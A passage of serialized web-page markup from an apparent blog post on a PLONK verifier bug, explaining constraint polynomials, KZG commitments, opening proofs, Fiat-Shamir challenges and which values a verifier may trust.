146889,"children":146891},{"className":146890},[25732],[146892],{"type":27,"value":25735},{"type":22,"tag":101,"props":146894,"children":146896},{"className":146895},[8079],[146897],{"type":22,"tag":101,"props":146898,"children":146900},{"className":146899,"style":96637},[8084],[146901],{"type":22,"tag":101,"props":146902,"children":146903},{},[],{"type":22,"tag":101,"props":146905,"children":146907},{"className":146906},[25704],[146908],{"type":27,"value":980},{"type":22,"tag":101,"props":146910,"children":146912},{"className":146911},[8053,25575],[146913],{"type":27,"value":23266},{"type":22,"tag":101,"props":146915,"children":146917},{"className":146916},[25726],[146918],{"type":27,"value":2261},{"type":27,"value":146920}," at the ",{"type":22,"tag":30,"props":146922,"children":146924},{"className":146923},[8026,8027],[146925],{"type":22,"tag":101,"props":146926,"children":146928},{"className":146927},[8032],[146929],{"type":22,"tag":101,"props":146930,"children":146932},{"className":146931,"ariaHidden":5608},[8037],[146933],{"type":22,"tag":101,"props":146934,"children":146936},{"className":146935},[8042],[146937,146941],{"type":22,"tag":101,"props":146938,"children":146940},{"className":146939,"style":145805},[8047],[],{"type":22,"tag":101,"props":146942,"children":146944},{"className":146943},[8053,25575],[146945],{"type":27,"value":7774},{"type":27,"value":146947},"-th root recovers the left wire value at row ",{"type":22,"tag":30,"props":146949,"children":146951},{"className":146950},[8026,8027],[146952],{"type":22,"tag":101,"props":146953,"children":146955},{"className":146954},[8032],[146956],{"type":22,"tag":101,"props":146957,"children":146959},{"className":146958,"ariaHidden":5608},[8037],[146960],{"type":22,"tag":101,"props":146961,"children":146963},{"className":146962},[8042],[146964,146968],{"type":22,"tag":101,"props":146965,"children":146967},{"className":146966,"style":145805},[8047],[],{"type":22,"tag":101,"props":146969,"children":146971},{"className":146970},[8053,25575],[146972],{"type":27,"value":7774},{"type":27,"value":231},{"type":22,"tag":146975,"props":146976,"children":146977},"polynomial-interpolation-panel",{},[],{"type":22,"tag":23,"props":146979,"children":146980},{},[146981,146983,147023,147025,147091,147093,147223,147225,147265,147267,147307,147309,147349,147350,147472],{"type":27,"value":146982},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":22,"tag":30,"props":146984,"children":146986},{"className":146985},[8026,8027],[146987],{"type":22,"tag":101,"props":146988,"children":146990},{"className":146989},[8032],[146991],{"type":22,"tag":101,"props":146992,"children":146994},{"className":146993,"ariaHidden":5608},[8037],[146995],{"type":22,"tag":101,"props":146996,"children":146998},{"className":146997},[8042],[146999,147003,147008,147013,147018],{"type":22,"tag":101,"props":147000,"children":147002},{"className":147001,"style":8154},[8047],[],{"type":22,"tag":101,"props":147004,"children":147006},{"className":147005,"style":25576},[8053,25575],[147007],{"type":27,"value":125332},{"type":22,"tag":101,"props":147009,"children":147011},{"className":147010},[25704],[147012],{"type":27,"value":980},{"type":22,"tag":101,"props":147014,"children":147016},{"className":147015},[8053,25575],[147017],{"type":27,"value":23266},{"type":22,"tag":101,"props":147019,"children":147021},{"className":147020},[25726],[147022],{"type":27,"value":2261},{"type":27,"value":147024}," that combines selectors and witnesses. If the prover was honest, ",{"type":22,"tag":30,"props":147026,"children":147028},{"className":147027},[8026,8027],[147029],{"type":22,"tag":101,"props":147030,"children":147032},{"className":147031},[8032],[147033],{"type":22,"tag":101,"props":147034,"children":147036},{"className":147035,"ariaHidden":5608},[8037],[147037,147078],{"type":22,"tag":101,"props":147038,"children":147040},{"className":147039},[8042],[147041,147045,147050,147055,147060,147065,147069,147074],{"type":22,"tag":101,"props":147042,"children":147044},{"className":147043,"style":8154},[8047],[],{"type":22,"tag":101,"props":147046,"children":147048},{"className":147047,"style":25576},[8053,25575],[147049],{"type":27,"value":125332},{"type":22,"tag":101,"props":147051,"children":147053},{"className":147052},[25704],[147054],{"type":27,"value":980},{"type":22,"tag":101,"props":147056,"children":147058},{"className":147057},[8053,25575],[147059],{"type":27,"value":23266},{"type":22,"tag":101,"props":147061,"children":147063},{"className":147062},[25726],[147064],{"type":27,"value":2261},{"type":22,"tag":101,"props":147066,"children":147068},{"className":147067,"style":8231},[8133],[],{"type":22,"tag":101,"props":147070,"children":147072},{"className":147071},[8236],[147073],{"type":27,"value":1511},{"type":22,"tag":101,"props":147075,"children":147077},{"className":147076,"style":8231},[8133],[],{"type":22,"tag":101,"props":147079,"children":147081},{"className":147080},[8042],[147082,147086],{"type":22,"tag":101,"props":147083,"children":147085},{"className":147084,"style":97585},[8047],[],{"type":22,"tag":101,"props":147087,"children":147089},{"className":147088},[8053],[147090],{"type":27,"value":8065},{"type":27,"value":147092}," at every row index in the domain. The vanishing polynomial ",{"type":22,"tag":30,"props":147094,"children":147096},{"className":147095},[8026,8027],[147097],{"type":22,"tag":101,"props":147098,"children":147100},{"className":147099},[8032],[147101],{"type":22,"tag":101,"props":147102,"children":147104},{"className":147103,"ariaHidden":5608},[8037],[147105,147147,147210],{"type":22,"tag":101,"props":147106,"children":147108},{"className":147107},[8042],[147109,147113,147119,147124,147129,147134,147138,147143],{"type":22,"tag":101,"props":147110,"children":147112},{"className":147111,"style":8154},[8047],[],{"type":22,"tag":101,"props":147114,"children":147116},{"className":147115,"style":26107},[8053,25575],[147117],{"type":27,"value":147118},"Z",{"type":22,"tag":101,"props":147120,"children":147122},{"className":147121},[25704],[147123],{"type":27,"value":980},{"type":22,"tag":101,"props":147125,"children":147127},{"className":147126},[8053,25575],[147128],{"type":27,"value":23266},{"type":22,"tag":101,"props":147130,"children":147132},{"className":147131},[25726],[147133],{"type":27,"value":2261},{"type":22,"tag":101,"props":147135,"children":147137},{"className":147136,"style":8231},[8133],[],{"type":22,"tag":101,"props":147139,"children":147141},{"className":147140},[8236],[147142],{"type":27,"value":1511},{"type":22,"tag":101,"props":147144,"children":147146},{"className":147145,"style":8231},[8133],[],{"type":22,"tag":101,"props":147148,"children":147150},{"className":147149},[8042],[147151,147156,147197,147201,147206],{"type":22,"tag":101,"props":147152,"children":147155},{"className":147153,"style":147154},[8047],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":22,"tag":101,"props":147157,"children":147159},{"className":147158},[8053],[147160,147165],{"type":22,"tag":101,"props":147161,"children":147163},{"className":147162},[8053,25575],[147164],{"type":27,"value":23266},{"type":22,"tag":101,"props":147166,"children":147168},{"className":147167},[8069],[147169],{"type":22,"tag":101,"props":147170,"children":147172},{"className":147171},[8074],[147173],{"type":22,"tag":101,"props":147174,"children":147176},{"className":147175},[8079],[147177],{"type":22,"tag":101,"props":147178,"children":147180},{"className":147179,"style":112271},[8084],[147181],{"type":22,"tag":101,"props":147182,"children":147183},{"style":8088},[147184,147188],{"type":22,"tag":101,"props":147185,"children":147187},{"className":147186,"style":8094},[8093],[],{"type":22,"tag":101,"props":147189,"children":147191},{"className":147190},[8099,8100,8101,8102],[147192],{"type":22,"tag":101,"props":147193,"children":147195},{"className":147194},[8053,25575,8102],[147196],{"type":27,"value":60400},{"type":22,"tag":101,"props":147198,"children":147200},{"className":147199,"style":8134},[8133],[],{"type":22,"tag":101,"props":147202,"children":147204},{"className":147203},[8139],[147205],{"type":27,"value":8113},{"type":22,"tag":101,"props":147207,"children":147209},{"className":147208,"style":8134},[8133],[],{"type":22,"tag":101,"props":147211,"children":147213},{"className":147212},[8042],[147214,147218],{"type":22,"tag":101,"props":147215,"children":147217},{"className":147216,"style":97585},[8047],[],{"type":22,"tag":101,"props":147219,"children":147221},{"className":147220},[8053],[147222],{"type":27,"value":6813},{"type":27,"value":147224}," is zero on exactly those points, so if all constraints hold then ",{"type":22,"tag":30,"props":147226,"children":147228},{"className":147227},[8026,8027],[147229],{"type":22,"tag":101,"props":147230,"children":147232},{"className":147231},[8032],[147233],{"type":22,"tag":101,"props":147234,"children":147236},{"className":147235,"ariaHidden":5608},[8037],[147237],{"type":22,"tag":101,"props":147238,"children":147240},{"className":147239},[8042],[147241,147245,147250,147255,147260],{"type":22,"tag":101,"props":147242,"children":147244},{"className":147243,"style":8154},[8047],[],{"type":22,"tag":101,"props":147246,"children":147248},{"className":147247,"style":26107},[8053,25575],[147249],{"type":27,"value":147118},{"type":22,"tag":101,"props":147251,"children":147253},{"className":147252},[25704],[147254],{"type":27,"value":980},{"type":22,"tag":101,"props":147256,"children":147258},{"className":147257},[8053,25575],[147259],{"type":27,"value":23266},{"type":22,"tag":101,"props":147261,"children":147263},{"className":147262},[25726],[147264],{"type":27,"value":2261},{"type":27,"value":147266}," divides ",{"type":22,"tag":30,"props":147268,"children":147270},{"className":147269},[8026,8027],[147271],{"type":22,"tag":101,"props":147272,"children":147274},{"className":147273},[8032],[147275],{"type":22,"tag":101,"props":147276,"children":147278},{"className":147277,"ariaHidden":5608},[8037],[147279],{"type":22,"tag":101,"props":147280,"children":147282},{"className":147281},[8042],[147283,147287,147292,147297,147302],{"type":22,"tag":101,"props":147284,"children":147286},{"className":147285,"style":8154},[8047],[],{"type":22,"tag":101,"props":147288,"children":147290},{"className":147289,"style":25576},[8053,25575],[147291],{"type":27,"value":125332},{"type":22,"tag":101,"props":147293,"children":147295},{"className":147294},[25704],[147296],{"type":27,"value":980},{"type":22,"tag":101,"props":147298,"children":147300},{"className":147299},[8053,25575],[147301],{"type":27,"value":23266},{"type":22,"tag":101,"props":147303,"children":147305},{"className":147304},[25726],[147306],{"type":27,"value":2261},{"type":27,"value":147308},", yielding a quotient polynomial ",{"type":22,"tag":30,"props":147310,"children":147312},{"className":147311},[8026,8027],[147313],{"type":22,"tag":101,"props":147314,"children":147316},{"className":147315},[8032],[147317],{"type":22,"tag":101,"props":147318,"children":147320},{"className":147319,"ariaHidden":5608},[8037],[147321],{"type":22,"tag":101,"props":147322,"children":147324},{"className":147323},[8042],[147325,147329,147334,147339,147344],{"type":22,"tag":101,"props":147326,"children":147328},{"className":147327,"style":8154},[8047],[],{"type":22,"tag":101,"props":147330,"children":147332},{"className":147331,"style":25576},[8053,25575],[147333],{"type":27,"value":840},{"type":22,"tag":101,"props":147335,"children":147337},{"className":147336},[25704],[147338],{"type":27,"value":980},{"type":22,"tag":101,"props":147340,"children":147342},{"className":147341},[8053,25575],[147343],{"type":27,"value":23266},{"type":22,"tag":101,"props":147345,"children":147347},{"className":147346},[25726],[147348],{"type":27,"value":2261},{"type":27,"value":25491},{"type":22,"tag":30,"props":147351,"children":147353},{"className":147352},[8026,8027],[147354],{"type":22,"tag":101,"props":147355,"children":147357},{"className":147356},[8032],[147358],{"type":22,"tag":101,"props":147359,"children":147361},{"className":147360,"ariaHidden":5608},[8037],[147362,147403,147444],{"type":22,"tag":101,"props":147363,"children":147365},{"className":147364},[8042],[147366,147370,147375,147380,147385,147390,147394,147399],{"type":22,"tag":101,"props":147367,"children":147369},{"className":147368,"style":8154},[8047],[],{"type":22,"tag":101,"props":147371,"children":147373},{"className":147372,"style":25576},[8053,25575],[147374],{"type":27,"value":125332},{"type":22,"tag":101,"props":147376,"children":147378},{"className":147377},[25704],[147379],{"type":27,"value":980},{"type":22,"tag":101,"props":147381,"children":147383},{"className":147382},[8053,25575],[147384],{"type":27,"value":23266},{"type":22,"tag":101,"props":147386,"children":147388},{"className":147387},[25726],[147389],{"type":27,"value":2261},{"type":22,"tag":101,"props":147391,"children":147393},{"className":147392,"style":8231},[8133],[],{"type":22,"tag":101,"props":147395,"children":147397},{"className":147396},[8236],[147398],{"type":27,"value":1511},{"type":22,"tag":101,"props":147400,"children":147402},{"className":147401,"style":8231},[8133],[],{"type":22,"tag":101,"props":147404,"children":147406},{"className":147405},[8042],[147407,147411,147416,147421,147426,147431,147435,147440],{"type":22,"tag":101,"props":147408,"children":147410},{"className":147409,"style":8154},[8047],[],{"type":22,"tag":101,"props":147412,"children":147414},{"className":147413,"style":25576},[8053,25575],[147415],{"type":27,"value":840},{"type":22,"tag":101,"props":147417,"children":147419},{"className":147418},[25704],[147420],{"type":27,"value":980},{"type":22,"tag":101,"props":147422,"children":147424},{"className":147423},[8053,25575],[147425],{"type":27,"value":23266},{"type":22,"tag":101,"props":147427,"children":147429},{"className":147428},[25726],[147430],{"type":27,"value":2261},{"type":22,"tag":101,"props":147432,"children":147434},{"className":147433,"style":8134},[8133],[],{"type":22,"tag":101,"props":147436,"children":147438},{"className":147437},[8139],[147439],{"type":27,"value":114816},{"type":22,"tag":101,"props":147441,"children":147443},{"className":147442,"style":8134},[8133],[],{"type":22,"tag":101,"props":147445,"children":147447},{"className":147446},[8042],[147448,147452,147457,147462,147467],{"type":22,"tag":101,"props":147449,"children":147451},{"className":147450,"style":8154},[8047],[],{"type":22,"tag":101,"props":147453,"children":147455},{"className":147454,"style":26107},[8053,25575],[147456],{"type":27,"value":147118},{"type":22,"tag":101,"props":147458,"children":147460},{"className":147459},[25704],[147461],{"type":27,"value":980},{"type":22,"tag":101,"props":147463,"children":147465},{"className":147464},[8053,25575],[147466],{"type":27,"value":23266},{"type":22,"tag":101,"props":147468,"children":147470},{"className":147469},[25726],[147471],{"type":27,"value":2261},{"type":27,"value":231},{"type":22,"tag":23,"props":147474,"children":147475},{},[147476],{"type":22,"tag":7959,"props":147477,"children":147480},{"alt":147478,"src":147479},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":22,"tag":1760,"props":147482,"children":147484},{"id":147483},"polynomial-commitments-and-opening-proofs",[147485],{"type":27,"value":147486},"Polynomial commitments and opening proofs",{"type":22,"tag":23,"props":147488,"children":147489},{},[147490,147492,147497,147499,147504],{"type":27,"value":147491},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":22,"tag":6961,"props":147493,"children":147494},{},[147495],{"type":27,"value":147496},"commitments",{"type":27,"value":147498},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":22,"tag":6961,"props":147500,"children":147501},{},[147502],{"type":27,"value":147503},"opening proof",{"type":27,"value":147505}," that the claimed value is consistent with the earlier commitment.",{"type":22,"tag":23,"props":147507,"children":147508},{},[147509],{"type":27,"value":147510},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":22,"tag":1760,"props":147512,"children":147514},{"id":147513},"reducing-to-a-single-random-point",[147515],{"type":27,"value":147516},"Reducing to a single random point",{"type":22,"tag":23,"props":147518,"children":147519},{},[147520,147522,147562,147564,147589,147591,147713,147715,147740],{"type":27,"value":147521},"After the prover commits to all polynomials, including ",{"type":22,"tag":30,"props":147523,"children":147525},{"className":147524},[8026,8027],[147526],{"type":22,"tag":101,"props":147527,"children":147529},{"className":147528},[8032],[147530],{"type":22,"tag":101,"props":147531,"children":147533},{"className":147532,"ariaHidden":5608},[8037],[147534],{"type":22,"tag":101,"props":147535,"children":147537},{"className":147536},[8042],[147538,147542,147547,147552,147557],{"type":22,"tag":101,"props":147539,"children":147541},{"className":147540,"style":8154},[8047],[],{"type":22,"tag":101,"props":147543,"children":147545},{"className":147544,"style":25576},[8053,25575],[147546],{"type":27,"value":840},{"type":22,"tag":101,"props":147548,"children":147550},{"className":147549},[25704],[147551],{"type":27,"value":980},{"type":22,"tag":101,"props":147553,"children":147555},{"className":147554},[8053,25575],[147556],{"type":27,"value":23266},{"type":22,"tag":101,"props":147558,"children":147560},{"className":147559},[25726],[147561],{"type":27,"value":2261},{"type":27,"value":147563},", the verifier picks a random challenge point ",{"type":22,"tag":30,"props":147565,"children":147567},{"className":147566},[8026,8027],[147568],{"type":22,"tag":101,"props":147569,"children":147571},{"className":147570},[8032],[147572],{"type":22,"tag":101,"props":147573,"children":147575},{"className":147574,"ariaHidden":5608},[8037],[147576],{"type":22,"tag":101,"props":147577,"children":147579},{"className":147578},[8042],[147580,147584],{"type":22,"tag":101,"props":147581,"children":147583},{"className":147582,"style":114395},[8047],[],{"type":22,"tag":101,"props":147585,"children":147587},{"className":147586,"style":117111},[8053,25575],[147588],{"type":27,"value":117114},{"type":27,"value":147590}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":22,"tag":30,"props":147592,"children":147594},{"className":147593},[8026,8027],[147595],{"type":22,"tag":101,"props":147596,"children":147598},{"className":147597},[8032],[147599],{"type":22,"tag":101,"props":147600,"children":147602},{"className":147601,"ariaHidden":5608},[8037],[147603,147644,147685],{"type":22,"tag":101,"props":147604,"children":147606},{"className":147605},[8042],[147607,147611,147616,147621,147626,147631,147635,147640],{"type":22,"tag":101,"props":147608,"children":147610},{"className":147609,"style":8154},[8047],[],{"type":22,"tag":101,"props":147612,"children":147614},{"className":147613,"style":25576},[8053,25575],[147615],{"type":27,"value":125332},{"type":22,"tag":101,"props":147617,"children":147619},{"className":147618},[25704],[147620],{"type":27,"value":980},{"type":22,"tag":101,"props":147622,"children":147624},{"className":147623,"style":117111},[8053,25575],[147625],{"type":27,"value":117114},{"type":22,"tag":101,"props":147627,"children":147629},{"className":147628},[25726],[147630],{"type":27,"value":2261},{"type":22,"tag":101,"props":147632,"children":147634},{"className":147633,"style":8231},[8133],[],{"type":22,"tag":101,"props":147636,"children":147638},{"className":147637},[8236],[147639],{"type":27,"value":1511},{"type":22,"tag":101,"props":147641,"children":147643},{"className":147642,"style":8231},[8133],[],{"type":22,"tag":101,"props":147645,"children":147647},{"className":147646},[8042],[147648,147652,147657,147662,147667,147672,147676,147681],{"type":22,"tag":101,"props":147649,"children":147651},{"className":147650,"style":8154},[8047],[],{"type":22,"tag":101,"props":147653,"children":147655},{"className":147654,"style":25576},[8053,25575],[147656],{"type":27,"value":840},{"type":22,"tag":101,"props":147658,"children":147660},{"className":147659},[25704],[147661],{"type":27,"value":980},{"type":22,"tag":101,"props":147663,"children":147665},{"className":147664,"style":117111},[8053,25575],[147666],{"type":27,"value":117114},{"type":22,"tag":101,"props":147668,"children":147670},{"className":147669},[25726],[147671],{"type":27,"value":2261},{"type":22,"tag":101,"props":147673,"children":147675},{"className":147674,"style":8134},[8133],[],{"type":22,"tag":101,"props":147677,"children":147679},{"className":147678},[8139],[147680],{"type":27,"value":114816},{"type":22,"tag":101,"props":147682,"children":147684},{"className":147683,"style":8134},[8133],[],{"type":22,"tag":101,"props":147686,"children":147688},{"className":147687},[8042],[147689,147693,147698,147703,147708],{"type":22,"tag":101,"props":147690,"children":147692},{"className":147691,"style":8154},[8047],[],{"type":22,"tag":101,"props":147694,"children":147696},{"className":147695,"style":26107},[8053,25575],[147697],{"type":27,"value":147118},{"type":22,"tag":101,"props":147699,"children":147701},{"className":147700},[25704],[147702],{"type":27,"value":980},{"type":22,"tag":101,"props":147704,"children":147706},{"className":147705,"style":117111},[8053,25575],[147707],{"type":27,"value":117114},{"type":22,"tag":101,"props":147709,"children":147711},{"className":147710},[25726],[147712],{"type":27,"value":2261},{"type":27,"value":147714}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":22,"tag":30,"props":147716,"children":147718},{"className":147717},[8026,8027],[147719],{"type":22,"tag":101,"props":147720,"children":147722},{"className":147721},[8032],[147723],{"type":22,"tag":101,"props":147724,"children":147726},{"className":147725,"ariaHidden":5608},[8037],[147727],{"type":22,"tag":101,"props":147728,"children":147730},{"className":147729},[8042],[147731,147735],{"type":22,"tag":101,"props":147732,"children":147734},{"className":147733,"style":114395},[8047],[],{"type":22,"tag":101,"props":147736,"children":147738},{"className":147737,"style":117111},[8053,25575],[147739],{"type":27,"value":117114},{"type":27,"value":147741}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":22,"tag":23,"props":147743,"children":147744},{},[147745,147747,147772,147774,147779],{"type":27,"value":147746},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":22,"tag":30,"props":147748,"children":147750},{"className":147749},[8026,8027],[147751],{"type":22,"tag":101,"props":147752,"children":147754},{"className":147753},[8032],[147755],{"type":22,"tag":101,"props":147756,"children":147758},{"className":147757,"ariaHidden":5608},[8037],[147759],{"type":22,"tag":101,"props":147760,"children":147762},{"className":147761},[8042],[147763,147767],{"type":22,"tag":101,"props":147764,"children":147766},{"className":147765,"style":114395},[8047],[],{"type":22,"tag":101,"props":147768,"children":147770},{"className":147769,"style":117111},[8053,25575],[147771],{"type":27,"value":117114},{"type":27,"value":147773},", the prover supplies ",{"type":22,"tag":6961,"props":147775,"children":147776},{},[147777],{"type":27,"value":147778},"evaluation claims",{"type":27,"value":147780}," that must be checked against those commitments with opening proofs.",{"type":22,"tag":23,"props":147782,"children":147783},{},[147784,147786,147790],{"type":27,"value":147785},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":22,"tag":6961,"props":147787,"children":147788},{},[147789],{"type":27,"value":108098},{"type":27,"value":147791}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":22,"tag":1760,"props":147793,"children":147795},{"id":147794},"what-the-verifier-is-actually-allowed-to-trust",[147796],{"type":27,"value":147797},"What the verifier is actually allowed to trust",{"type":22,"tag":23,"props":147799,"children":147800},{},[147801,147803,147808],{"type":27,"value":147802},"For this bug, one invariant matters more than the rest: ",{"type":22,"tag":9370,"props":147804,"children":147805},{},[147806],{"type":27,"value":147807},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":27,"value":231},{"type":22,"tag":23,"props":147810,"children":147811},{},[147812,147814,147906,147907,147999,148001,148026,148028,148068,148069,148109,148110,148203,148204,148250,148252,148339,148340,148427,148428,148515],{"type":27,"value":147813},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":22,"tag":30,"props":147815,"children":147817},{"className":147816},[8026,8027],[147818],{"type":22,"tag":101,"props":147819,"children":147821},{"className":147820},[8032],[147822],{"type":22,"tag":101,"props":147823,"children":147825},{"className":147824,"ariaHidden":5608},[8037],[147826],{"type":22,"tag":101,"props":147827,"children":147829},{"className":147828},[8042],[147830,147834,147891,147896,147901],{"type":22,"tag":101,"props":147831,"children":147833},{"className":147832,"style":8154},[8047],[],{"type":22,"tag":101,"props":147835,"children":147837},{"className":147836},[8053],[147838,147843],{"type":22,"tag":101,"props":147839,"children":147841},{"className":147840,"style":26107},[8053,25575],[147842],{"type":27,"value":147118},{"type":22,"tag":101,"props":147844,"children":147846},{"className":147845},[8069],[147847],{"type":22,"tag":101,"props":147848,"children":147850},{"className":147849},[8074,25629],[147851,147880],{"type":22,"tag":101,"props":147852,"children":147854},{"className":147853},[8079],[147855,147875],{"type":22,"tag":101,"props":147856,"children":147858},{"className":147857,"style":146109},[8084],[147859],{"type":22,"tag":101,"props":147860,"children":147861},{"style":119803},[147862,147866],{"type":22,"tag":101,"props":147863,"children":147865},{"className":147864,"style":8094},[8093],[],{"type":22,"tag":101,"props":147867,"children":147869},{"className":147868},[8099,8100,8101,8102],[147870],{"type":22,"tag":101,"props":147871,"children":147873},{"className":147872,"style":96788},[8053,25575,8102],[147874],{"type":27,"value":96791},{"type":22,"tag":101,"props":147876,"children":147878},{"className":147877},[25732],[147879],{"type":27,"value":25735},{"type":22,"tag":101,"props":147881,"children":147883},{"className":147882},[8079],[147884],{"type":22,"tag":101,"props":147885,"children":147887},{"className":147886,"style":96637},[8084],[147888],{"type":22,"tag":101,"props":147889,"children":147890},{},[],{"type":22,"tag":101,"props":147892,"children":147894},{"className":147893},[25704],[147895],{"type":27,"value":980},{"type":22,"tag":101,"props":147897,"children":147899},{"className":147898,"style":117111},[8053,25575],[147900],{"type":27,"value":117114},{"type":22,"tag":101,"props":147902,"children":147904},{"className":147903},[25726],[147905],{"type":27,"value":2261},{"type":27,"value":758},{"type":22,"tag":30,"props":147908,"children":147910},{"className":147909},[8026,8027],[147911],{"type":22,"tag":101,"props":147912,"children":147914},{"className":147913},[8032],[147915],{"type":22,"tag":101,"props":147916,"children":147918},{"className":147917,"ariaHidden":5608},[8037],[147919],{"type":22,"tag":101,"props":147920,"children":147922},{"className":147921},[8042],[147923,147927,147984,147989,147994],{"type":22,"tag":101,"props":147924,"children":147926},{"className":147925,"style":8154},[8047],[],{"type":22,"tag":101,"props":147928,"children":147930},{"className":147929},[8053],[147931,147936],{"type":22,"tag":101,"props":147932,"children":147934},{"className":147933},[8053,25575],[147935],{"type":27,"value":121518},{"type":22,"tag":101,"props":147937,"children":147939},{"className":147938},[8069],[147940],{"type":22,"tag":101,"props":147941,"children":147943},{"className":147942},[8074,25629],[147944,147973],{"type":22,"tag":101,"props":147945,"children":147947},{"className":147946},[8079],[147948,147968],{"type":22,"tag":101,"props":147949,"children":147951},{"className":147950,"style":96606},[8084],[147952],{"type":22,"tag":101,"props":147953,"children":147954},{"style":96610},[147955,147959],{"type":22,"tag":101,"props":147956,"children":147958},{"className":147957,"style":8094},[8093],[],{"type":22,"tag":101,"props":147960,"children":147962},{"className":147961},[8099,8100,8101,8102],[147963],{"type":22,"tag":101,"props":147964,"children":147966},{"className":147965},[8053,8102],[147967],{"type":27,"value":6813},{"type":22,"tag":101,"props":147969,"children":147971},{"className":147970},[25732],[147972],{"type":27,"value":25735},{"type":22,"tag":101,"props":147974,"children":147976},{"className":147975},[8079],[147977],{"type":22,"tag":101,"props":147978,"children":147980},{"className":147979,"style":96637},[8084],[147981],{"type":22,"tag":101,"props":147982,"children":147983},{},[],{"type":22,"tag":101,"props":147985,"children":147987},{"className":147986},[25704],[147988],{"type":27,"value":980},{"type":22,"tag":101,"props":147990,"children":147992},{"className":147991,"style":117111},[8053,25575],[147993],{"type":27,"value":117114},{"type":22,"tag":101,"props":147995,"children":147997},{"className":147996},[25726],[147998],{"type":27,"value":2261},{"type":27,"value":148000},", the public-input polynomial at ",{"type":22,"tag":30,"props":148002,"children":148004},{"className":148003},[8026,8027],[148005],{"type":22,"tag":101,"props":148006,"children":148008},{"className":148007},[8032],[148009],{"type":22,"tag":101,"props":148010,"children":148012},{"className":148011,"ariaHidden":5608},[8037],[148013],{"type":22,"tag":101,"props":148014,"children":148016},{"className":148015},[8042],[148017,148021],{"type":22,"tag":101,"props":148018,"children":148020},{"className":148019,"style":114395},[8047],[],{"type":22,"tag":101,"props":148022,"children":148024},{"className":148023,"style":117111},[8053,25575],[148025],{"type":27,"value":117114},{"type":27,"value":148027},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":22,"tag":30,"props":148029,"children":148031},{"className":148030},[8026,8027],[148032],{"type":22,"tag":101,"props":148033,"children":148035},{"className":148034},[8032],[148036],{"type":22,"tag":101,"props":148037,"children":148039},{"className":148038,"ariaHidden":5608},[8037],[148040],{"type":22,"tag":101,"props":148041,"children":148043},{"className":148042},[8042],[148044,148048,148053,148058,148063],{"type":22,"tag":101,"props":148045,"children":148047},{"className":148046,"style":8154},[8047],[],{"type":22,"tag":101,"props":148049,"children":148051},{"className":148050},[8053,25575],[148052],{"type":27,"value":80},{"type":22,"tag":101,"props":148054,"children":148056},{"className":148055},[25704],[148057],{"type":27,"value":980},{"type":22,"tag":101,"props":148059,"children":148061},{"className":148060,"style":117111},[8053,25575],[148062],{"type":27,"value":117114},{"type":22,"tag":101,"props":148064,"children":148066},{"className":148065},[25726],[148067],{"type":27,"value":2261},{"type":27,"value":758},{"type":22,"tag":30,"props":148070,"children":148072},{"className":148071},[8026,8027],[148073],{"type":22,"tag":101,"props":148074,"children":148076},{"className":148075},[8032],[148077],{"type":22,"tag":101,"props":148078,"children":148080},{"className":148079,"ariaHidden":5608},[8037],[148081],{"type":22,"tag":101,"props":148082,"children":148084},{"className":148083},[8042],[148085,148089,148094,148099,148104],{"type":22,"tag":101,"props":148086,"children":148088},{"className":148087,"style":8154},[8047],[],{"type":22,"tag":101,"props":148090,"children":148092},{"className":148091},[8053,25575],[148093],{"type":27,"value":7262},{"type":22,"tag":101,"props":148095,"children":148097},{"className":148096},[25704],[148098],{"type":27,"value":980},{"type":22,"tag":101,"props":148100,"children":148102},{"className":148101,"style":117111},[8053,25575],[148103],{"type":27,"value":117114},{"type":22,"tag":101,"props":148105,"children":148107},{"className":148106},[25726],[148108],{"type":27,"value":2261},{"type":27,"value":758},{"type":22,"tag":30,"props":148111,"children":148113},{"className":148112},[8026,8027],[148114],{"type":22,"tag":101,"props":148115,"children":148117},{"className":148116},[8032],[148118],{"type":22,"tag":101,"props":148119,"children":148121},{"className":148120,"ariaHidden":5608},[8037],[148122],{"type":22,"tag":101,"props":148123,"children":148125},{"className":148124},[8042],[148126,148130,148188,148193,148198],{"type":22,"tag":101,"props":148127,"children":148129},{"className":148128,"style":8154},[8047],[],{"type":22,"tag":101,"props":148131,"children":148133},{"className":148132},[8053],[148134,148140],{"type":22,"tag":101,"props":148135,"children":148137},{"className":148136,"style":97040},[8053,25575],[148138],{"type":27,"value":148139},"σ",{"type":22,"tag":101,"props":148141,"children":148143},{"className":148142},[8069],[148144],{"type":22,"tag":101,"props":148145,"children":148147},{"className":148146},[8074,25629],[148148,148177],{"type":22,"tag":101,"props":148149,"children":148151},{"className":148150},[8079],[148152,148172],{"type":22,"tag":101,"props":148153,"children":148155},{"className":148154,"style":96606},[8084],[148156],{"type":22,"tag":101,"props":148157,"children":148158},{"style":97087},[148159,148163],{"type":22,"tag":101,"props":148160,"children":148162},{"className":148161,"style":8094},[8093],[],{"type":22,"tag":101,"props":148164,"children":148166},{"className":148165},[8099,8100,8101,8102],[148167],{"type":22,"tag":101,"props":148168,"children":148170},{"className":148169},[8053,8102],[148171],{"type":27,"value":6813},{"type":22,"tag":101,"props":148173,"children":148175},{"className":148174},[25732],[148176],{"type":27,"value":25735},{"type":22,"tag":101,"props":148178,"children":148180},{"className":148179},[8079],[148181],{"type":22,"tag":101,"props":148182,"children":148184},{"className":148183,"style":96637},[8084],[148185],{"type":22,"tag":101,"props":148186,"children":148187},{},[],{"type":22,"tag":101,"props":148189,"children":148191},{"className":148190},[25704],[1481